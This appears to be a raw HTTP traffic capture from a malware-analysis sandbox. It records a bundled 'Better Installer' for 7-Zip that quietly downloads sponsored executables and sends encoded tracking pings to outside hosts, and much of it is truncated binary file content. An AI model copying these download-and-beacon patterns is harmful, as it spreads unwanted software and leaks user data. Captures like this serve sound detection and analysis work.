Content-Range: bytes 6500000-6749999/7590800
.....M...7-=b``..F_..XX..G..9.RN...y.5.{..t.h..SU.W..<.".._.......Z
.].F.}..8...`zW.......&~.Q.&'.=]V....iq..xBjx......{..W....d...\.;....
.E....e.9$... ....T.e...Z,..Q9......]RV6Y1..=`.3..n......H......(...qr
...8..*......<.S.|g..]...(B..n..JO]v.q.l9.R!...{;.......1.~2.K..c..
....6A/."..voE...{.&...g..b....Du......_p6d..i..7..."0~...N......V..LQ
....Z.K..>...X.....3,[email protected].,...-
y..yt"...-....t..da.}....|....o`Y&{.?._.'..y.\..dt;n....c...qJZ6.S....
....".....R.J6.T......ME.o.NFX.....c..........j.?P.*X.....E..im.r#....
....1 ..c....a@. ..Up...$.:.......28.r.o.........8..'....|.......^....
]......./.A...r"..h.....#;...G.u..o...l...w.A.......P.^t.I....7.....2)
8.f..L6..}.OH.L.M&j.[.(3.'.K....%..x=.GE.;.<[email protected]^..
....T..-.......3..Z....l..w......[.....e..,......s4.....Q...i.u)....._
...... <..Y.B.Q......s....:.....K.{wv...Vk.C.qXc..8....b..]...[...Z
nJC .q.[.......@....>>..k./T...9K..eX....5\b..<b...K......N..
...R......S.F....6..h.etQ.[....f...1..8N.cM..4...........6..0.v.......
..Q....vnJ....2...(vh..o].'..h..db...|.`G.>....Z.......1."u.....*..
w;.C.L.^3.h.....m..V}.L.4.q.w.......4Z{%(-..O@&j......8`......C.J..hv.
.....|.F-......*'x.`.]!y..(...I.iv.Vv.I.v.....4.)[...<.J....aI_N...
~0)R....1l{.... .>.k..hEG-?..qO..K.X....f)....h......0q.?]..9.B.U..
......K...n..3.q...Q..Q...x9...L..v.< ..3..Nh3...R*.%T3.."...-..GrM
U..6.?..B.Nw{lo...f'.(Rh)k........w)^.)..dt..=.Q.T.[.l.2.E.....h..Z...
'.....].K;|k....8v.'...l..D.\fu....{~O..W..$|...x......JW=q.l.B/.'
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=7000000-7249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:57 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 7000000-7249999/7590800
X....G..8M.'DW..FQN.Q...L.t....R.........*......../..,W...y..F.o1!G._.
....`..[..\......{yX......2W[.....zHr...g.N.*.....[._..M..{P...ZD..xT&
_;......s..or7.....MF&~M....6>...rx6.ojN:.*u{9...n..xc./.!...8.....
d....W....~...V....".........!P..r...XD.! .5....u&..v....m...mO..].\.`
5....D..-.C.n.Mw...3...w..>e..f.K.E.....?.hV......m...w..q.......^F
[email protected]..}~..{\[email protected]...[..Us#...
..nmY..u.w......Y^W....sdtN. ....&.v..Y..XU.H..U>.....y.)?.g......w
w......t...... .i......C../[email protected]..*.gfD..fa.Ej..,...2oGwy*[email protected]
7........h.S.J}.ct..;....@&P...5xS@(9O6;[email protected]
..&X.......X.:.g...d..cG ..pz[Q..N.f\[email protected]
......)....D..>r.9.)if..._.%J.....ot...CP.....=_,..R*.....csn.?l...
.V..w...A.."....)...m..cS...d1..r..Y.....T..tM.K...H.[.......,.7zV....
....t.;.&.>.....>....P...u....=_ .A.yZ.F-...Y".im0,..].J0.*.dgP.
:JZ....f.. y..../..^.......1`...l..]e.Ea.I.........^.......i.f..v.l.K.
&RT..#.?.k.....-.Z....c.&.s..<..1w.;..'>...~.......c...m$.....\s
...>.....).O.l.Z&T..=q........i.}.BA..IP..W>z..D....k?S....<9
t.2.....G{.4....*..Ud........8.W....M.(y.W.V..`..v\.d.K?z..^.D........
........&*`.^.....l*.J..z2>j...B.....l.6.....-...Y..u......,F...\.*
.I...h7.cA..:lr..V..i.....O.2.C...E..........~*f..Z.i.^g.w^Yn[....r..g
/.w...J..NXxM.p..rg*..... .H.Z_Pf8|....hfZ&H......)|...".V.\...{.'.:`.
..vR ...h.3....xE.w..^.x~...m@:...:......&R....S<....F........r....
.....BF.F...TG.g..5.*...LK...o..3G.I..s....W?..|......MIy.`.q.....
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=7500000-7590799
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32wd2feb-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:24:58 GMT
Content-Type: application/octet-stream
Content-Length: 90800
Connection: keep-alive
x-amz-id-2: Zc1TTVZjeR5h AxD0nbrdscksLqng69HJdkEinGkDCEEBfNyV20bSFDeqjAbSJqK
x-amz-request-id: 0C8646FB92AF351F
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 7500000-7590799/7590800
~...8O.'..!...t..xO.5//o...v....oK.Q.$.Dg......(G2t..`0(.BQ|..U.......
.....x..in...H.sKv..M..a.s...b.?.3...C..d...v..0.tdo.I..{...~.z;..v...
>.9j.#.....W.t_|$......Na8..7.i..o.....-|...;.MPg.i.).A....=..X.".C
......K...Vk.u...M.a.v.6q.q.*..x<j.j.~?....A.3.h...Rb.s..[..E......
.....'Q.8"...P.KC.#.j....{<......)P...:Ka[VVc'.ao.......U...E....QM
(......At-........{|.H..FI..X.....,..8..cj....S.!/.0S.B..d...A.....C..
p8...|a..j.?...eZ..L...S.i... .N...v..Lb..**\U....Z.....|.`8...^t.^-J"
..:...:....#.G...{...}L.K..&.=j...%.e.Lq=$.Q..~M..CA.vy8.............i
EGkVccN....NZg\1n.}k.x.E......h..hM.Q.P..D....r.D.A....a.>\Y,[s.[2.
.8/.-.T.c..v|..E.F......f.]...X....%....G.....|8.#>.$...<..'....
.....%  ....x....G..Q..u.F.<vl..].(5v....-).(.Qzn.rT..*.<.....#.
......I.....l.j.j..K9.ThZr.....`dm..'1F*.b$R.G5......G.|....L0....D"./
..=.?~..;..."j6.ub.e....8.Tx...V......x...<..........$..m..5..H%1".
1H.8..;.......ef..8Y..........i.'..7y......u....).c{IQ.............l.z
p(F.I..q.lq:%.....K.....Ob.......Kk.^....<..K.vu..Y;...QM1:.......M
.1;.....4..t...~Y...Qf..t.-. N/.^..s,.8r..k..i.h.D...=I."R-.>......
.......w..p..aWgR.-...5y.3..xF....]2f........)<4-. .$2..L.E.......B
2^.8-......UY.55..[7.j}q...#k....N..v.).b2J....}psF....bvw~.!...../& X
.-.S...I.2 .......Qw-.u......0.....I.X.4...eQO..........v...i....#<
..?...j...P][email protected]~q.mw`O.lQ...).1*.P.(:}P}-..."....C
.e~7.)..N.j..6..3S.s,.j...S<...mw.]..._|..5S.....BD.%....8i....Q._.
...3.4?.S.9......@N...*..YMMz..M..G.Zul.-o.=c...l..E..z...K.....;&
<<< skipped >>>


GET //MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH+3ahq1OMCAxvnFQ== HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.godaddy.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:27:02 GMT
Server: Apache
Content-Transfer-Encoding: Binary
Cache-Control: max-age=115782, public, no-transform, must-revalidate
Last-Modified: Thu, 30 Apr 2015 07:18:18 GMT
Expires: Fri, 01 May 2015 19:18:18 GMT
ETag: "2ab0d7aa73b2e6285189c7938f3b0e8e9cbbbde6"
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
Content-Length: 1708
Connection: close
Content-Type: application/ocsp-response
0..........0..... .....0......0...0......0..1.0...U....US1.0...U....Ar
izona1.0...U....Scottsdale1.0...U....GoDaddy.com, Inc.100...U...'Go Da
ddy Root Validation Authority - G1..20150430071818Z0f0d0<0... .....
.... ......]..J^.y_..F<........L.q.a.=....j...........2015043007181
8Z....20150501191818Z0...*.H...............z...x.......B..g..4..u..B..
/,...Q3"..N.xe.Oe.....o.....C..Rc/.Z...u<...9.=.N.s.w..r=.j..]N.D.s
j.. ...4e...}..?^.."N|.\J....)I).`e..%.':..J......$..I.3.?..z.....e...
.<.....u...T.L...C........w.{......_..C.I..X..5.....)y ......GxWpz.
'.cR..u0..l.W...L..R.B....m0..i0..e0..M...........T.m^'0...*.H........
0c1.0...U....US1!0...U....The Go Daddy Group, Inc.110/..U...(Go Daddy 
Class 2 Certification Authority0...150316070000Z..160316070000Z0..1.0.
..U....US1.0...U....Arizona1.0...U....Scottsdale1.0...U....GoDaddy.com
, Inc.100...U...'Go Daddy Root Validation Authority - G10.."0...*.H...
..........0.........xo(....QQ.`L.~...&...a.F.=.....d=....."......?...\
..........b.D....l=.HS.N......A..;....C)...(..T........XA-N....k1 ....
.ag...,4.L{.I..hEKb..K......!.(...7....p.O...X.._........8.B..k[4.....
......e.../....^.S..7A.b.oB..\......2%.|c...A....Fk.T..24.0B...p......
...0..0...U.......0.0...U...........0...U.%..0... ......... .......0..
.U.......O........f...e..r..0... .....0......0=..U...60402.0...,http:/
/crl.godaddy.com/repository/gdroot.crl0J..U. .C0A0?..`.H...m....000...
 ........"hXXp://crl.godaddy.com/repository/0...*.H.............G.1..V
e.........'\.... ..[2).l.J.:\.{.,cq...!.h.~...n....m3..o..\wZ,hqF.
<<< skipped >>>


GET /?product=firefox-34.0.5-complete&os=win&lang=en-US HTTP/1.1
Host: download.mozilla.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Range: bytes=1200000-1499999
Cookie: optimizelySegments={"245617832":"none","245875585":"direct","245677587":"ff","246048108":"false","869421433":"true"}; optimizelyEndUserId=oeu1401956287616r0.2603029596469415; optimizelyBuckets={}; __utma=150903082.1617578787.1401956289.1401956289.1401956289.1
Connection: keep-alive


HTTP/1.1 302 Found
Server: Apache
X-Backend-Server: bouncer1.webapp.phx1.mozilla.com
Cache-Control: max-age=60
Content-Type: text/html; charset=UTF-8
Date: Thu, 30 Apr 2015 09:22:38 GMT
Location: hXXp://download.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar
Keep-Alive: timeout=3, max=495
Content-Length: 0
Connection: Keep-Alive
X-Cache-Info: cached
HTTP/1.1 302 Found..Server: Apache..X-Backend-Server: bouncer1.webapp.
phx1.mozilla.com..Cache-Control: max-age=60..Content-Type: text/html; 
charset=UTF-8..Date: Thu, 30 Apr 2015 09:22:38 GMT..Location: hXXp://d
ownload.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US
/firefox-34.0.5.complete.mar..Keep-Alive: timeout=3, max=495..Content-
Length: 0..Connection: Keep-Alive..X-Cache-Info: cached..



GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=555240-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:22:09 GMT
Content-Type: application/octet-stream
Content-Length: 555236
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 555240-1110475/1110476
.F..j....;^I..#........h.6tp..O..K.eT5.dFi.......(.S..m.a.Y....<...
.G...............M.f8....,............F.QM.C...TiJ..;.X{...8....d0.G..
.D]I<....z......tv.x.^B.T9=..c.N ..........F...%.....a.......d..;.s
qPp..\....'...../f..7..J_.^.f... 7.>.ET"....#.k#o.!.3gj.=wr...gBj&l
t;.!.5@Qa ?F......0..............f..K...w{...h.=U..u.{.m....7...yb.\YZ
..ta.cd......t-...;.?.....t....v........MP......|.....i..L2...".:H....
....U..}...d..|Q.jf^...(.Mf......\....E G7.........."32...f..%\.4U... 
.N:....... ...B....%[email protected].,.y.....)..[S.6.5.|Jd;/.._m..s..... ...
FN.........a...<......3. ...$,......M.H8.....~u......vM[..H...{i...
R....N......%.".J.F..1(h?..U...,..(%......V......>........y...}.q.:
!.0..w..Q?C.%Eo...w......R^.v........`..&W..*.,....g.......a..Q...$.r)
..2c....|?.3.[..>l....8hq.L...B..W.I..56 ......}f&...^.|..Uk.4...A.
P.. `f..y&m....t... .Ej....V.}...hs........c.....m.`h....3.3..H[N...$:
.q......).0....b.i.C..T$Z.V......}....T$..o(.Z(#[email protected][.
.C?.....}T{ ...$..n9....*.H.<...3..........z..!.....V........A..9..
..........m.]. .?..~.....[.u!DC...8.jZ..k.G...|.o..d....(....(.. .....
...oa^.5[........|3.j.1..C..'..._g.... ..j.!T.....T..M/p.n..W..7R..Ru.
e....i..F".....h.......t...v....p3.gom|...........i-......&.^|ilN..N.b
.[..&5...z.SY'.7.0.M'@.k..E..Y...2)....blt..~...c...<#JIr..uR.../..
dvGr.[.e...nT..>:B.;.!.......m..>.r.U......}.r..d.P.......H`..(.
i...........`.,p%.gQj..p..S. ....4O2...s.{..R..Wc..v.#...v..Te!...r.."
./..<.....oR*1...c..Y..v.....,^......E.....4a%.q.. .kk...pH....
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:22:08 GMT
Date: Thu, 30 Apr 2015 09:22:08 GMT
Content-Range: bytes 0-523255/523256
Content-Length: 523256
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
................. ...............................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.verisign.com


HTTP/1.1 200 OK
Server: nginx/1.4.7
Content-Type: application/ocsp-response
Content-Length: 1790
content-transfer-encoding: binary
Cache-Control: max-age=539295, public, no-transform, must-revalidate
Last-Modified: Wed, 29 Apr 2015 15:15:07 GMT
Expires: Wed, 6 May 2015 15:15:07 GMT
Date: Thu, 30 Apr 2015 09:26:52 GMT
Connection: keep-alive
0..........0..... .....0......0...0......'.V.8.F.V....H....JW..2015042
9151507Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
.A..2.....:...:......20150429151507Z....20150506151507Z0...*.H........
.....M...2..s..7...........rh.O..2Q........Vn...09..e]..D$.u...r3...x.
...T.#...................3.X.."[email protected]".)=..d.3...SZK...bH.PD..
I..9Js.H).2I.....l^|\.?$_7;E......y...ff...}^9...1....}.....fc..:.....
........T...1;'.o..V.e.=.b*tX[.,..M.H..O7..!.%.A..,...#0...0...0......
....r..?.*......y"..0...*.H........0..1.0...U....US1.0...U....VeriSign
, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of use at http
s://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 Code Signing
 2009-2 CA0...150226000000Z..150527235959Z0..1.0...U....US1.0...U....V
eriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of use 
at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3VeriSign Class 3 Co
de Signing 2009-2 OCSP Responder0.."0...*.H.............0.............
m5*R........2....>...yU4..L.. ...........u..Hez..Pn.....d...nz(...V
7.}^...d!RX...bl..[..a...L.. .~..Ij......%..%p.-...u..:..i..F*]...*...
.{NH..|0...gHX.Q.r....S..........._.9.(w...suC...N..s.....&."...:.C.Q.
i~rl..<..krS..8.B..o][email protected]
.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://VVV.verisign.c
om/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CPS incorp. by
 reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0...U........
0... .....0......0"..U....0...0.1.0...U....TGV-B-32010...*.H......
<<< skipped >>>


GET /3428_92a5d683c188790231b1aa2af09de41e/2.pak HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Host: dlrkbt247pbk6.cloudfront.net
Accept: */*
Accept-Encoding: gzip, deflate
Connection:keep-alive


HTTP/1.1 200 OK
Content-Type: binary/octet-stream
Content-Length: 3016484
Connection: keep-alive
Date: Wed, 29 Apr 2015 23:33:41 GMT
Last-Modified: Wed, 29 Apr 2015 23:11:50 GMT
ETag: "a535387b49e318b5b6c86cefbca1039e"
Accept-Ranges: bytes
Server: AmazonS3
Age: 35398
X-Cache: Hit from cloudfront
Via: 1.1 1617f8bb348c173b7002e26d4d35f91a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: CGEZQoWYS1kxVAn_9aUmvQZUNahHens75_sMG7hH9i3_WGmKqOU9Vw==
..........e...........0.......474.db.0...<.X.`I.....<..A#.U.....
.L........* ...i.AU%......k.1...o4...MX*.8.D.].J.. ..f.q.oV.Q7..c..%!u
..>..2.He.}.tod.Z..^B...ru-2(.........`h`.}...|g*..g...R.gcsw(.xa..
x.v.C.]O $.".........3......4.........b...1Y8E. L........v.n..3.^B...r
u-w.......c^.0......q|.".2.l..........iU.Z.....K.|..F.1...........K7d2
h9q1PK.........).F.U..............ClearnC.exe...`...8.?.#..6......HP4.
....4.l.J`C`[email protected] ..j..U.j..W.\lK[o..U.Vt..$(..\.B...N.Tc.. .y
.9..f....}.......=...9sf...33...-..A0.QUA8$......u..u..F......C......b
C...z....6.....i.h{..V-m.m.d.Z.o.........T-....:.\....i....7.|....>
........uP...........M..[;.'................!u.M..........~...n.....F.
k.v. ..:..C....".....a#0......P...N..]...:.......e..m....}w.....".I...
...r..l......u.:H.!........|3n....g.O=....Bwe..m.5....:^g.........*7C.
..r..Y.._.n....._.[..x...C.P.....3cO.>S......w....s.{.K..r..pU.^.).
sO.:.......PG*.9O..&A..*..\.V'Q....&...`9..H.[.'b4.bk./NY.......gW.x.!
.y.r...4.t.Sr......V_Ab..X..S>..jN..I..h.. s<:.KM2B>J...4J...
I.|v..B..=......$3.A9R..*....H......jR...=dP.c...H..H..n.m......~4dS..
g.1t......N...!.o.r.O\.[..b...n5...5....~.E.. ...>.^".1S.HU:.~|.|.m
TZ..s...L...x...k.#...._....?h.......i..7.>..t................R..=.
......b]..z...W...h!.'.O.U.....Mk....=\...CN....~ .5)...~..Gg.0.x.....
......8>.!*....N.y..O..j%0.......Vh{.l..O..... `..RM..t.P..6....u..
.....;...r.0\j...`2F.CC..... ..E.......9......ao .GL......<br.j..Y.
...N.e..,?Jt;I.I..W~A.V._...Gl..q;&..M=.5....M./.<...)&...W.>
<<< skipped >>>


GET /app/ping.ashx?e=j7YMo/n29XPkTjH401c/dDdjsMBgf4Cr56XqnYmheUgSZTerw9Y85XkjLFx9TDtKsPYyGQt5yHQzixC5kmTb5s610XCmzC22BHIQSAUi/qZ6ui3jv/3sP/4jVWMunDHWleI3B6uYg8lqpwuyqc3XiTEOgAi5qcHFAjty0U0tb3YV31 7Nekt0xm46XXR1FJOmJ Y/JGOYZV65oG/Tej/kYtyMdnwSjqVzRrLoiWvi573iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OdBaNFR1Cr06TJP9M3NuQpnzbANYrsS2gdCWqjOU30UJ93k4w4AQv cTDUJ39fApoVlzfxsZWK fYis8nBmbypT3AqTFiqNP5w== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: repjs.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:16 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 30 Apr 20
15 09:25:16 GMT..Content-Length: 0......


GET /app/ping.ashx?e=M7A8vgjJHrgLjT49fHfOTNM7BpcmEq1Vt8f6YpiR28IQ9XpMu3JNONKN/VUSdNXb1RKCtJSqXJDHpCaj36dsiVcugFublYli4VTmYx8DZjC0lOvcR7gfC5Ogq/ZWkhdl60W2ZwZ8tLob94hM9WTZwLfS6pcjs1s3WGoyREbxM8eZ3YOu8U7Qr0yM76mYEXUjy/SCcC0/B2695MROQWA/L2J9sb7MHhzUBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzEGEjQJyNURYqMy0/V3kNGuCgKEn5qKQgXtD72Vj9R098UMTHunf2F5mQXX8cIqYS Vy6bSdWGAVbWM4H 2PxLFHdk/gnZ pY= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: repjs.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:16 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 30 Apr 20
15 09:25:16 GMT..Content-Length: 0..



GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=3&index_in_screen=1&index_in_session=3&display_height=80&0.25359863263178783 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive
Cookie: __utma=1.2090475166.1430385727.1430385727.1430385727.1; __utmb=1.1.10.1430385727; __utmc=1; __utmz=1.1430385727.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:22:38 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:22:38 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:23:53 GMT
Content-Type: application/octet-stream
Content-Length: 1110476
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 0-1110475/1110476
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /b/WebProtectPI.exe?s=9813&i=AA41FBD0-8410-4810-8C3A-4B4E97AEB741&v=4.1.0.13 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:26:53 GMT
Content-Type: application/octet-stream
Content-Length: 130318
Last-Modified: Tue, 28 Apr 2015 13:38:29 GMT
Connection: keep-alive
ETag: "553f8d55-1fd0e"
Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........0.......p....@.........................
.................................................s....................
...................................................................p..
.............................text...hZ.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected]...@[email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...6B...Si.....VW.T.....tO.q.3.;5.6B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.6B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /t.ashx?e=aUlNCxxkjnSQVExL/6LI8D2S/voHNL3Y1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/oUDW29 K3KZNvI cCpfDt3f1ws7XaD2yIg8T0WOKObqUfdGpw3nUgqY7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: xqjdaibxl-g48pastf.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:53 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhsk....


GET /t.ashx?e=aUlNCxxkjnSQVExL/6LI8D2S/voHNL3Y1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/oUDW29 K3KZNvI cCpfDt3f1ws7XaD2yIg8T0WOKObqUfdGpw3nUgqY7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: xqjdaibxl-g48pastf.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:54 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhsk....


GET /t.ashx?e=aUlNCxxkjnSQVExL/6LI8D2S/voHNL3Y1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/oUDW29 K3KZNvI cCpfDt3f1ws7XaD2yIg8T0WOKObqUfdGpw3nUgqY7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw== HTTP/1.1


